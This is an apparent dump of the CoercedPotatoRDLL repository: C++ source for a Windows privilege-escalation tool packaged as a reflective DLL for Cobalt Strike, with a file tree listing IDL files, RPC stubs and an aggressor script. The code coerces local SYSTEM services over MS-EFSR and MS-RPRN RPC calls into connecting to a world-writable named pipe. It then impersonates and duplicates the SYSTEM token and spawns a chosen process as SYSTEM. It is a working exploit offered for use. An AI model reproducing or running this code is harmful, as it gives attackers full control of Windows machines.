Showing preview only (6,363K chars total). Download the full file or copy to clipboard to get everything.
Repository: sokaRepo/CoercedPotatoRDLL
Branch: main
Commit: 0c66b4c05eed
Files: 33
Total size: 6.1 MB
Directory structure:
gitextract_2f2q0qnr/
├── Arguments.cpp
├── Arguments.h
├── CoerceFunctions.cpp
├── CoerceFunctions.h
├── CoercedPotato.cpp
├── CoercedPotato.sln
├── CoercedPotato.vcxproj
├── CoercedPotato.vcxproj.filters
├── CoercedPotato.vcxproj.user
├── IDL_FILES/
│ ├── ms-efsr.idl
│ ├── ms-even.idl
│ ├── ms-par.idl
│ ├── ms-rprn.idl
│ └── ms-srvsvc.idl
├── README.md
├── ReflectiveDLLInjection.h
├── ReflectiveLoader.cpp
├── ReflectiveLoader.h
├── dist/
│ └── coercedpotato.cna
├── lib/
│ ├── ms-efsr_h.h
│ ├── ms-even_h.h
│ ├── ms-par_h.h
│ ├── ms-rprn_h.h
│ └── ms-srvsvc_h.h
└── rpc_interfaces/
├── ms-efsr_c.c
├── ms-even_c.c
├── ms-even_s.c
├── ms-par_c.c
├── ms-par_s.c
├── ms-rprn_c.c
├── ms-rprn_s.c
├── ms-srvsvc_c.c
└── ms-srvsvc_s.c
================================================
FILE CONTENTS
================================================
================================================
FILE: Arguments.cpp
================================================
// from https://github.com/praetorian-inc/PortBender/blob/main/src/PortBender/PortBender/Arguments.cpp
// Copyright 2021 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <iostream>
#include <string>
#include <sstream>
#include <vector>
#include "Arguments.h"
Arguments::Arguments(std::string argument_string) {
std::string arg;
std::stringstream ss(argument_string);
std::vector<std::string> args;
while (ss >> arg) {
args.push_back(arg);
}
if (args[0] == "spawn") {
if (args.size() < 2) {
throw std::invalid_argument("Missing required arguments");
}
this->Action = args[0];
this->ProcessName = args[1];
if (args.size() == 3)
this->Argument = args[2];
else
this->Argument = "";
}
else if (args[0] == "coerce") {
if (args.size() != 1) {
throw std::invalid_argument("Missing required arguments");
}
this->Action = args[0];
}
else {
throw std::invalid_argument("Please enter a valid action of redirect or backdoor");
}
}
================================================
FILE: Arguments.h
================================================
/*
* from https://github.com/praetorian-inc/PortBender/blob/main/src/PortBender/PortBender/Arguments.h
* Copyright 2021 Praetorian Security, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
#include <string>
class Arguments {
public:
Arguments(std::string argument_string);
std::string Action;
std::string ProcessName;
std::string Argument;
};
================================================
FILE: CoerceFunctions.cpp
================================================
#include <iostream>
#include <Windows.h>
#include <functional>
#include <rpc.h>
#include <strsafe.h>
#include "lib/ms-efsr_h.h"
#include "lib/ms-rprn_h.h"
#include "CoerceFunctions.h"
long callEfsRpcOpenFileRaw(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\r\n", targetedPipeName);
long result;
long flag = 0;
PVOID pContext;
result = EfsRpcOpenFileRaw(Binding, &pContext, targetedPipeName, flag);
return result;
}
long callEfsRpcEncryptFileSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcEncryptFileSrv with target path: %ws\r\n", targetedPipeName);
long result;
result = EfsRpcEncryptFileSrv(Binding, targetedPipeName);
return result;
}
long callEfsRpcDecryptFileSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcDecryptFileSrv with target path: %ws\r\n", targetedPipeName);
long result;
long OpenFlag = 0;
result = EfsRpcDecryptFileSrv(Binding, targetedPipeName, OpenFlag);
return result;
}
long callEfsRpcQueryUsersOnFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcQueryUsersOnFile with target path: %ws\r\n", targetedPipeName);
long result;
ENCRYPTION_CERTIFICATE_HASH_LIST* Users = nullptr;
result = EfsRpcQueryUsersOnFile(Binding, targetedPipeName, &Users);
return result;
}
long callEfsRpcQueryRecoveryAgents(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcQueryRecoveryAgents with target path: %ws\r\n", targetedPipeName);
long result;
ENCRYPTION_CERTIFICATE_HASH_LIST* Users = nullptr;
result = EfsRpcQueryRecoveryAgents(Binding, targetedPipeName, &Users);
return result;
}
long callEfsRpcRemoveUsersFromFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcRemoveUsersFromFile with target path: %ws\r\n", targetedPipeName);
long result;
ENCRYPTION_CERTIFICATE_HASH_LIST users;
users.nCert_Hash = 1;
ENCRYPTION_CERTIFICATE_HASH user;
user.cbTotalLength = sizeof(ENCRYPTION_CERTIFICATE_HASH);
user.pUserSid = nullptr;
user.pHash = nullptr;
user.lpDisplayInformation = nullptr;
users.pUsers = new PENCRYPTION_CERTIFICATE_HASH[users.nCert_Hash];
users.pUsers[0] = &user;
result = EfsRpcRemoveUsersFromFile(Binding, targetedPipeName, &users);
return result;
}
long callEfsRpcAddUsersToFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcAddUsersToFile with target path: %ws\r\n", targetedPipeName);
long result;
ENCRYPTION_CERTIFICATE_LIST certificates;
certificates.nUsers = 1;
ENCRYPTION_CERTIFICATE user;
user.cbTotalLength = sizeof(ENCRYPTION_CERTIFICATE);
user.pUserSid = nullptr;
user.pCertBlob = nullptr;
certificates.pUsers = new PENCRYPTION_CERTIFICATE[certificates.nUsers];
certificates.pUsers[0] = &user;
result = EfsRpcAddUsersToFile(Binding, targetedPipeName, &certificates);
return result;
}
// NOT EXPLOITABLE YET
long callEfsRpcFileKeyInfo(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcFileKeyInfo with target path: %ws\r\n", targetedPipeName);
long result;
DWORD infoClass = 1;
EFS_RPC_BLOB* keyInfo = nullptr;
result = EfsRpcFileKeyInfo(Binding, targetedPipeName, infoClass, &keyInfo);
return result;
}
long callEfsRpcDuplicateEncryptionInfoFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcDuplicateEncryptionInfoFile with target path: %ws\r\n", targetedPipeName);
long result;
DWORD dwCreationDisposition = 1;
DWORD dwAttributes = 2;
result = EfsRpcDuplicateEncryptionInfoFile(Binding, targetedPipeName, targetedPipeName, dwCreationDisposition, dwAttributes, nullptr, FALSE);
return result;
}
long callEfsRpcAddUsersToFileEx(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcAddUsersToFileEx with target path: %ws\r\n", targetedPipeName);
long result;
DWORD dwFileKeyInfoFlags = 0;
ENCRYPTION_CERTIFICATE_LIST certificates;
certificates.nUsers = 1;
ENCRYPTION_CERTIFICATE user;
user.cbTotalLength = sizeof(ENCRYPTION_CERTIFICATE);
user.pUserSid = nullptr;
user.pCertBlob = nullptr;
certificates.pUsers = new PENCRYPTION_CERTIFICATE[certificates.nUsers];
certificates.pUsers[0] = &user;
result = EfsRpcAddUsersToFileEx(Binding, dwFileKeyInfoFlags, nullptr, targetedPipeName, &certificates);
return result;
}
// NOT EXPLOITABLE YET
long callEfsRpcFileKeyInfoEx(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcFileKeyInfoEx with target path: %ws\r\n", targetedPipeName);
long result;
DWORD dwFileKeyInfoFlags = 0;
DWORD InfoClass = 1;
EFS_RPC_BLOB* KeyInfo = nullptr;
result = EfsRpcFileKeyInfoEx(Binding, dwFileKeyInfoFlags, nullptr, targetedPipeName, InfoClass, &KeyInfo);
return result;
}
long callEfsRpcGetEncryptedFileMetadata(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcGetEncryptedFileMetadata with target path: %ws\r\n", targetedPipeName);
long result;
EFS_RPC_BLOB* EfsStreamBlob = nullptr;
result = EfsRpcGetEncryptedFileMetadata(Binding, targetedPipeName, &EfsStreamBlob);
return result;
}
long callEfsRpcEncryptFileExSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcEncryptFileExSrv with target path: %ws\r\n", targetedPipeName);
long result;
wchar_t* ProtectorDescriptor = nullptr;
unsigned long Flags = 0;
result = EfsRpcEncryptFileExSrv(Binding, targetedPipeName, ProtectorDescriptor, Flags);
return result;
}
long callEfsRpcQueryProtectors(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {
wprintf(L"[*] Invoking EfsRpcQueryProtectors with target path: %ws\r\n", targetedPipeName);
long result;
PENCRYPTION_PROTECTOR_LIST* ppProtectorList = new PENCRYPTION_PROTECTOR_LIST;
ppProtectorList[0] = new ENCRYPTION_PROTECTOR_LIST;
ppProtectorList[0]->nProtectors = 1;
PENCRYPTION_PROTECTOR protector = new ENCRYPTION_PROTECTOR;
protector->cbTotalLength = sizeof(ENCRYPTION_PROTECTOR);
protector->pUserSid = nullptr;
protector->lpProtectorDescriptor = nullptr;
ppProtectorList[0]->pProtectors = new PENCRYPTION_PROTECTOR[1];
ppProtectorList[0]->pProtectors[0] = protector;
result = EfsRpcQueryProtectors(Binding, targetedPipeName, &ppProtectorList);
return result;
}
long callRpcRemoteFindFirstPrinterChangeNotification(wchar_t* targetedPipeName) {
wprintf(L"[*] Invoking RpcRemoteFindFirstPrinterChangeNotification with target path: %ws\r\n", targetedPipeName);
// RETRIEVING HOSTNAME. NECESSARY FOR PRINTSPOOLER EXPLOIT
char computerName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(computerName);
GetComputerNameA(computerName, &size);
wchar_t* localhostComputerName;
localhostComputerName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(localhostComputerName, MAX_PATH, L"\\\\%hs", computerName);
// INITIALIZING ALL PARAMETERS
PRINTER_HANDLE hPrinter = NULL;
HRESULT hr = NULL;
DEVMODE_CONTAINER devmodeContainer;
SecureZeroMemory((char*)&(devmodeContainer), sizeof(DEVMODE_CONTAINER));
RpcTryExcept
{
hr = RpcOpenPrinter(localhostComputerName, &hPrinter, NULL, &devmodeContainer, 0);
if (hr == ERROR_SUCCESS) {
hr = RpcRemoteFindFirstPrinterChangeNotification(hPrinter, 0x00000100 /* PRINTER_CHANGE_ADD_JOB */,0, targetedPipeName, 0, NULL,NULL);
RpcClosePrinter(&hPrinter);
}
else
{
wprintf(L"RpcOpenPrinter failed %d\n", hr);
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
hr = RpcExceptionCode();
}
RpcEndExcept;
return hr;
}
long callRpcRemoteFindFirstPrinterChangeNotificationEx(wchar_t* targetedPipeName) {
wprintf(L"[*] Invoking RpcRemoteFindFirstPrinterChangeNotificationEx with target path: %ws\r\n", targetedPipeName);
// RETRIEVING HOSTNAME. NECESSARY FOR PRINTSPOOLER EXPLOIT
char computerName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(computerName);
GetComputerNameA(computerName, &size);
wchar_t* localhostComputerName;
localhostComputerName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(localhostComputerName, MAX_PATH, L"\\\\%hs", computerName);
// INITIALIZING ALL PARAMETERS
PRINTER_HANDLE hPrinter = NULL;
HRESULT hr = NULL;
DEVMODE_CONTAINER devmodeContainer;
SecureZeroMemory((char*)&(devmodeContainer), sizeof(DEVMODE_CONTAINER));
RpcTryExcept
{
// GETTING PRINTER HANDLE
hr = RpcOpenPrinter(localhostComputerName, &hPrinter, NULL, &devmodeContainer, 0);
if (hr == ERROR_SUCCESS) {
hr = RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, 0x00000100 /* PRINTER_CHANGE_ADD_JOB */,0, targetedPipeName, 0, NULL);
RpcClosePrinter(&hPrinter);
}
else
{
wprintf(L"[MS-RPRN] [-] RpcOpenPrinter failed %d\n", hr);
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
hr = RpcExceptionCode();
return hr;
}
RpcEndExcept;
return 0;
}
/*
long callRpcAsyncOpenPrinterEx(handle_t hRemoteBinding) {
// RETRIEVING HOSTNAME. NECESSARY FOR PRINTSPOOLER EXPLOIT
char computerName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(computerName);
GetComputerNameA(computerName, &size);
wchar_t* localhostComputerName;
localhostComputerName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(localhostComputerName, MAX_PATH, L"\\\\%hs", computerName);
// INITIALIZING ALL PARAMETERS
PRINTER_HANDLE hPrinter = NULL;
HRESULT hr = NULL;
DEVMODE_CONTAINER devmodeContainer;
SecureZeroMemory((char*)&(devmodeContainer), sizeof(DEVMODE_CONTAINER));
SPLCLIENT_CONTAINER ClientInfoContainer;
ClientInfoContainer.Level = 1;
SPLCLIENT_INFO_1* client_info = new SPLCLIENT_INFO_1;
client_info->dwBuildNum = 14393;
client_info->dwMajorVersion = 6;
client_info->dwMinorVersion = 0;
client_info->dwSize = sizeof(SPLCLIENT_INFO_1);
client_info->pMachineName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(client_info->pMachineName, MAX_PATH, L"MyRemoteComputer");
client_info->pUserName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(client_info->pUserName, MAX_PATH, L"LAB\\user-da");
client_info->wProcessorArchitecture = 64;
ClientInfoContainer.ClientInfo.pClientInfo1 = client_info;
RpcTryExcept
{
// GETTING PRINTER HANDLE
hr = RpcAsyncOpenPrinter(hRemoteBinding, localhostComputerName, &hPrinter, NULL, &devmodeContainer, 0,&ClientInfoContainer);
if (hr == ERROR_SUCCESS) {
wprintf(L"BIND OK \r\n");
RpcClosePrinter(&hPrinter);
}
else
{
wprintf(L"[MS-RPRN] [-] RpcOpenPrinter failed %d\n", hr);
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
hr = RpcExceptionCode();
std::cerr << "[-] An error has occurred during the RpcAsyncOpenPrinter : " << hr << std::endl;
}
RpcEndExcept;
return hr;
}
long callRpcAsyncAddPrintProcessor(handle_t hRemoteBinding, wchar_t* targetedPipeName) {
HRESULT hr;
char computerName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(computerName);
GetComputerNameA(computerName, &size);
wchar_t* pName;
pName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(pName, MAX_PATH, L"\\\\%hs", computerName);
wchar_t* pPrintProcessorName;
pPrintProcessorName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(pPrintProcessorName, MAX_PATH, L"Microsoft Print to PDF");
RpcTryExcept
{
// GETTING PRINTER HANDLE
hr = RpcAsyncAddPrintProcessor(hRemoteBinding, pName, NULL, targetedPipeName, pPrintProcessorName);
if (hr == ERROR_SUCCESS) {
wprintf(L"BIND OK \r\n");
}
else
{
wprintf(L"[MS-RPRN] [-] RpcOpenPrinter failed %d\n", hr);
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
hr = RpcExceptionCode();
std::cerr << "[-] An error has occurred during the RpcAsyncOpenPrinter : " << hr << std::endl;
}
RpcEndExcept;
return hr;
}
long callNetrFileGetInfo(wchar_t* targetedNamedPipe){
HRESULT hr;
DWORD level = 2;
LPFILE_INFO InfoStruct = NULL;
DWORD fileId = 1;
RpcTryExcept
{
hr = NetrFileGetInfo(targetedNamedPipe, fileId, level, InfoStruct);
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER);
{
hr = RpcExceptionCode();
std::cerr << "[-] An error has occurred during the NetrFileGetInfo() : " << hr << std::endl;
}
RpcEndExcept;
return hr;
}
long callNetrShareGetInfo(wchar_t* targetedPipeName) {
long result = 0;
DWORD level = 2;
wchar_t* serverName;
serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(serverName, MAX_PATH, L"\\\\localhost");
SHARE_INFO_2 InfoStruct;
memset(&InfoStruct, 0, sizeof(SHARE_INFO_2));
result = NetrShareGetInfo(serverName, targetedPipeName, level, (LPSHARE_INFO)&InfoStruct);
if (result != 0) {
std::cerr << "Erreur lors de l'appel NetrShareGetInfo. Code d'erreur : " << result << std::endl;
// Grer l'erreur selon vos besoins.
}
else {
wprintf(L"Nom : %ls\n", InfoStruct.shi2_netname);
wprintf(L"OK\n");
}
return result;
}
long callNetrShareCheck(wchar_t* targetedPipeName) {
long result = 0;
wchar_t* serverName;
serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(serverName, MAX_PATH, L"localhost");
DWORD Type;
result = NetrShareCheck(serverName, targetedPipeName, &Type);
wprintf(L"NetrShareCheck returned %lx\n", result);
return result;
}
long callNetprPathType(wchar_t* targetedPipeName) {
long result = 0;
wchar_t* serverName;
serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(serverName, MAX_PATH, L"localhost");
DWORD pathType;
DWORD flags = 0;
NetprPathType(serverName, targetedPipeName, &pathType, flags);
wprintf(L"NetprPathType returned %lx\n", result);
return result;
}
long callNetprNameValidate(wchar_t* targetedPipeName) {
long result = 0;
wchar_t* serverName;
serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(serverName, MAX_PATH, L"localhost");
DWORD netName = 9;
DWORD flags = 0;
result = NetprNameValidate(serverName, targetedPipeName, netName, flags);
wprintf(L"NetprNameValidate returned %lx\n", result);
return result;
}
long callNetrpGetFileSecurity(wchar_t* targetedPipeName) {
long result = 0;
wchar_t* serverName;
serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(serverName, MAX_PATH, L"localhost");
wchar_t* lpFileName;
lpFileName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(lpFileName, MAX_PATH, L"foo1234");
SECURITY_INFORMATION RequestedInformation = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION;
PADT_SECURITY_DESCRIPTOR SecurityDescriptor = NULL;
result = NetrpGetFileSecurity(serverName, targetedPipeName, lpFileName, RequestedInformation, &SecurityDescriptor);
wprintf(L"NetrpGetFileSecurity returned %lx\n", result);
return result;
}
*/
================================================
FILE: CoerceFunctions.h
================================================
#pragma once
#include <iostream>
#include <Windows.h>
#include <functional>
#include <rpc.h>
#include <strsafe.h>
#include "lib/ms-efsr_h.h"
#include "lib/ms-rprn_h.h"
long callEfsRpcOpenFileRaw(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcEncryptFileSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcDecryptFileSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcQueryUsersOnFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcQueryRecoveryAgents(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcRemoveUsersFromFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcAddUsersToFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcFileKeyInfo(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcDuplicateEncryptionInfoFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcAddUsersToFileEx(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcFileKeyInfoEx(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcGetEncryptedFileMetadata(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcEncryptFileExSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callEfsRpcQueryProtectors(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);
long callRpcRemoteFindFirstPrinterChangeNotification(wchar_t* targetedPipeName);
long callRpcRemoteFindFirstPrinterChangeNotificationEx(wchar_t* targetedPipeName);
long callRpcAsyncOpenPrinter(RPC_BINDING_HANDLE Binding, wchar_t* targetedPipeName);
long callNetrFileGetInfo(wchar_t* targetedPipeName);
long callNetrShareGetInfo(wchar_t* targetedPipeName);
long callNetrpGetFileSecurity(wchar_t* targetedPipeName);
long callNetprNameValidate(wchar_t* targetedPipeName);
================================================
FILE: CoercedPotato.cpp
================================================
#pragma once
#include <iostream>
#include <Windows.h>
#include <sddl.h>
#include <userenv.h>
#include <thread>
#include <tchar.h>
#include <string>
#include <locale>
#include <functional>
#include <rpc.h>
#include <strsafe.h>
#include <winsdkver.h>
#define _WIN32_WINNT 0x0601
#include <sdkddkver.h>
#include "lib/ms-efsr_h.h"
#include "lib/ms-rprn_h.h"
#include "CoerceFunctions.h"
#include "Arguments.h"
#pragma comment(lib, "RpcRT4.lib")
#pragma comment(lib, "userenv.lib")
#pragma warning( disable : 28251 )
LPWSTR g_pwszProcessName = NULL;
LPWSTR g_pwszCommandLine = NULL;
BOOL g_bInteractWithConsole = false;
struct NamedPipeThreadArgs {
LPWSTR commandLine;
const wchar_t* pipePath;
};
void RealEntrypoint(char* argument_string);
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if (lpReserved != NULL) {
RealEntrypoint((char*)lpReserved);
}
else {
printf("Error CoercedPotato requires an argument string\n");
}
fflush(stdout);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void handleError(long result) {
wprintf(L"[*] Error code returned : %ld\r\n", result);
if (result == 53) {
wprintf(L" -> [+] Exploit worked, it should execute your command as SYSTEM!\r\n");
}
else if (result == 5) {
wprintf(L" -> [-] Access Denied requiring more privileges, trying another one...\r\n");
}
else if (result == 50) {
wprintf(L" -> [-] RPC function probably not implemented on this system, trying another one...\r\n");
}
else if (result == 0) {
wprintf(L" -> [+] Exploit worked, it should execute your command as SYSTEM!\r\n");
}
else {
wprintf(L" -> [-] Exploit failed, unknown error, trying another function...\r\n");
}
}
BOOL createRPCbind(RPC_BINDING_HANDLE& binding_h)
{
RPC_STATUS status;
RPC_WSTR NetworkAddr = (RPC_WSTR)L"\\\\localhost";
RPC_WSTR bindingString = nullptr;
status = RpcStringBindingCompose(
nullptr, // Address targeted (NULL for local binding)
(RPC_WSTR)L"ncalrpc", // Protocol used
nullptr, // Endpoint (NULL for dynamic binding)
nullptr, // UUID (NULL for dynamic binding)
nullptr, // Options (utilisez nullptr pour les options par d�faut)
&bindingString
);
if (status != RPC_S_OK) {
std::cerr << "[-] An error has occurred during the binding : " << status << std::endl;
return FALSE;
}
status = RpcBindingFromStringBinding(bindingString, &binding_h);
if (status != RPC_S_OK) {
std::cerr << "[-] An error has occurred during the binding : " << status << std::endl;
RpcStringFree(&bindingString);
return FALSE;
}
status = RpcStringFree(&bindingString);
if (status != RPC_S_OK) {
std::cerr << "[-] An error has occurred during the binding : " << status << std::endl;
}
wprintf(L"[+] RPC binding with localhost done \r\n");
return TRUE; // Success
}
// CODE STOLEN FROM https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp
BOOL GetSystem(HANDLE hPipe)
{
DWORD g_dwSessionId = 0;
BOOL bResult = FALSE;
HANDLE hSystemToken = INVALID_HANDLE_VALUE;
HANDLE hSystemTokenDup = INVALID_HANDLE_VALUE;
DWORD dwCreationFlags = 0;
LPWSTR pwszCurrentDirectory = NULL;
LPVOID lpEnvironment = NULL;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
if (!ImpersonateNamedPipeClient(hPipe))
{
wprintf(L"ImpersonateNamedPipeClient(). Error: %d\n", GetLastError());
goto cleanup;
}
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken))
{
wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError());
goto cleanup;
}
if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))
{
wprintf(L"DuplicateTokenEx() failed. Error: %d\n", GetLastError());
goto cleanup;
}
if (g_dwSessionId)
{
if (!SetTokenInformation(hSystemTokenDup, TokenSessionId, &g_dwSessionId, sizeof(DWORD)))
{
wprintf(L"SetTokenInformation() failed. Error: %d\n", GetLastError());
goto cleanup;
}
}
dwCreationFlags = CREATE_UNICODE_ENVIRONMENT;
dwCreationFlags |= g_bInteractWithConsole ? 0 : CREATE_NEW_CONSOLE;
if (!(pwszCurrentDirectory = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR))))
goto cleanup;
if (!GetSystemDirectory(pwszCurrentDirectory, MAX_PATH))
{
wprintf(L"GetSystemDirectory() failed. Error: %d\n", GetLastError());
goto cleanup;
}
if (!CreateEnvironmentBlock(&lpEnvironment, hSystemTokenDup, FALSE))
{
wprintf(L"CreateEnvironmentBlock() failed. Error: %d\n", GetLastError());
goto cleanup;
}
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = const_cast<wchar_t*>(L"WinSta0\\Default");
if (!CreateProcessAsUser(hSystemTokenDup, g_pwszProcessName, g_pwszCommandLine, NULL, NULL, g_bInteractWithConsole, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
{
if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD)
{
wprintf(L"[!] CreateProcessAsUser() failed because of a missing privilege, retrying with CreateProcessWithTokenW().\n");
RevertToSelf();
if (!g_bInteractWithConsole)
{
if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, g_pwszProcessName, g_pwszCommandLine, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi))
{
wprintf(L"CreateProcessWithTokenW() failed. Error: %d\n", GetLastError());
goto cleanup;
}
else
{
wprintf(L" ** Exploit completed **\n\n");
}
}
else
{
wprintf(L"[!] CreateProcessWithTokenW() isn't compatible with option -i\n");
goto cleanup;
}
}
else
{
wprintf(L"CreateProcessAsUser() failed. Error: %d\n", GetLastError());
goto cleanup;
}
}
else
{
wprintf(L" ** Exploit completed **\n\n");
}
if (g_bInteractWithConsole)
{
fflush(stdout);
WaitForSingleObject(pi.hProcess, INFINITE);
}
bResult = TRUE;
cleanup:
if (hSystemToken)
CloseHandle(hSystemToken);
if (hSystemTokenDup)
CloseHandle(hSystemTokenDup);
if (pwszCurrentDirectory)
free(pwszCurrentDirectory);
if (lpEnvironment)
DestroyEnvironmentBlock(lpEnvironment);
if (pi.hProcess)
CloseHandle(pi.hProcess);
if (pi.hThread)
CloseHandle(pi.hThread);
return bResult;
}
DWORD WINAPI launchNamedPipeServer(LPVOID lpParam) {
NamedPipeThreadArgs* args = static_cast<NamedPipeThreadArgs*>(lpParam);
LPWSTR commandLine = args->commandLine;
const wchar_t* pipePath = args->pipePath;
HANDLE hPipe = INVALID_HANDLE_VALUE;
HANDLE hTokenDup = INVALID_HANDLE_VALUE;
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
HANDLE hToken = ((HANDLE)(LONG_PTR)-1);
LPWSTR lpName;
lpName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintfW(lpName, MAX_PATH, pipePath);
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
{
wprintf(L"InitializeSecurityDescriptor() failed. Error: %d - ", GetLastError());
return -1;
}
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
{
wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d - ", GetLastError());
return -1;
}
if ((hPipe = CreateNamedPipe(lpName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa)) != INVALID_HANDLE_VALUE)
{
wprintf(L"[PIPESERVER] Named pipe '%ls' listening...\n\n", lpName);
ConnectNamedPipe(hPipe, NULL);
wprintf(L"\n[PIPESERVER] A client connected!\n\n");
if (!GetSystem(hPipe)) {
wprintf(L"[PIPESERVER] CreateNamedPipe() failed. Error: %d - ", GetLastError());
}
}
